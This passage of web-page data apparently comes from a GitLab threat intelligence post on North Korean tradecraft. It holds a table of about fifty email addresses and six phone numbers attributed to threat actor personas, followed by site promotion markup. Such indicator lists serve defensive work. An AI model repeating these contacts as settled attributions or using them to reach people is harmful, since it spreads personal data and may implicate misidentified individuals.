`maradanod.favomubo@vintomaper.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `humblechoice.dev@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `jairoalberto2208@hotmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `quxiujun520520@163.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `igorslobodyan508@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `brianyoung.lucky@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `valerykrapiv@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `dveretenov@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `blbnlambert34@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `tezauidev@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `nicewitali0311@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `shopstar0907@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `rl6700907@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `naterongi1@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `alexeu005@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `versatile.skydev@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `kevinhelan2@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `cglobalpower923002@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `albertchess990919@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `lorenzo.vidal@mail.ru` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `stolic5star@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `nkvasic5star@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `freelancer.honest.developer@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `viana.mabel3058@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `jairo.business392@yahoo.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `jairoacosta00123@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `ferwerwe6@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `maskymlap@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `alexsam.dev@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `kostiaberez369@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `darkrut22@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `jennalolly93@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `vikram.imenso@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `greg.work.pro@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `denish.faldu226@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `janeica.dev@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `mdmahdiuli@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `aronnokunjo@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `hadiulislam391@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `mahdi39980@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `mahdiupwork2002@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `mdmahdiul@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `wildbotgamer@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `tramendo.L@outlook.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `dyadkovdevelop@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `tramendo.M@outlook.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `Gulfdom0209@outlook.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `Wei861420@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `brianyoung0203@outlook.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `david@heyadev.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `mykytadanylchenko@outlook.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `ronaldofanclub112@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `olegevgen@inbox.lt` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `15414257086` | phone number | insider | N/A | N/A | Threat actor persona phone number | 4 |\n| `89883507137` | phone number | insider | N/A | N/A | Threat actor persona phone number | 4 |\n| `14358179097` | phone number | insider | N/A | N/A | Threat actor persona phone number | 4 |\n| `3508704464` | phone number | insider | N/A | N/A | Threat actor persona phone number | 4 |\n| `4796004206` | phone number | insider | N/A | N/A | Threat actor persona phone number | 4 |\n| `5596103595` | phone number | insider | N/A | N/A | Threat actor persona phone number | 4 |\n",[10,22],{"featured":12,"template":13,"slug":753},"gitlab-threat-intelligence-reveals-north-korean-tradecraft",{"promotions":755},[756,770,781],{"id":757,"categories":758,"header":760,"text":761,"button":762,"image":767},"ai-modernization",[759],"ai-ml","Is AI achieving its promise at scale?","Quiz will take 5 minutes or less",{"text":763,"config":764},"Get your AI maturity score",{"href":765,"dataGaName":766,"dataGaLocation":240},"/assessments/ai-modernization-assessment/","modernization assessment",{"config":768},{"src":769},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1772138786/qix0m7kwnd8x2fh1zq49.png",{"id":771,"categories":772,"header":773,"text":761,"button":774,"image":778},"devops-modernization",[739,556],"Are you just managing tools or shipping innovation?",{"text":775,"config":776},"Get your DevOps maturity score",{"href":777,"dataGaName":766,"dataGaLocation":240},"/assessments/devops-modernization-assessment/",{"config":779},{"src":780},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1772138785/eg818fmakweyuznttgid.png",{"id":782,"categories":783,"header":784,"text":761,"button":785,"image":789},"security-modernization",[10],"Are you trading speed for security?",{"text":786,"config":787},"Get your security maturity score",{"href":788,"dataGaName":766,"dataGaLocation":240},"/assessments/security-modernization-assessment/",{"config":790},{"src":791},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1772138786/p4pbqd9nnjejg5ds6mdk.png",{"header":793,"blurb":794,"button":795,"secondaryButton":800},"Start building faster today","See what your team can do with the intelligent orchestration platform for DevSecOps.\n",{"text":796,"config":797},"Get your free trial",{"href":798,"dataGaName":47,"dataGaLocation":799},"https://gitlab.com/-/trial_registrations/new?glm_content=default-saas-trial&glm_source=about.gitlab.com/","feature",{"text":492,"config":801},{"href":51,"dataGaName":52,"dataGaLocation":799},1772652068986]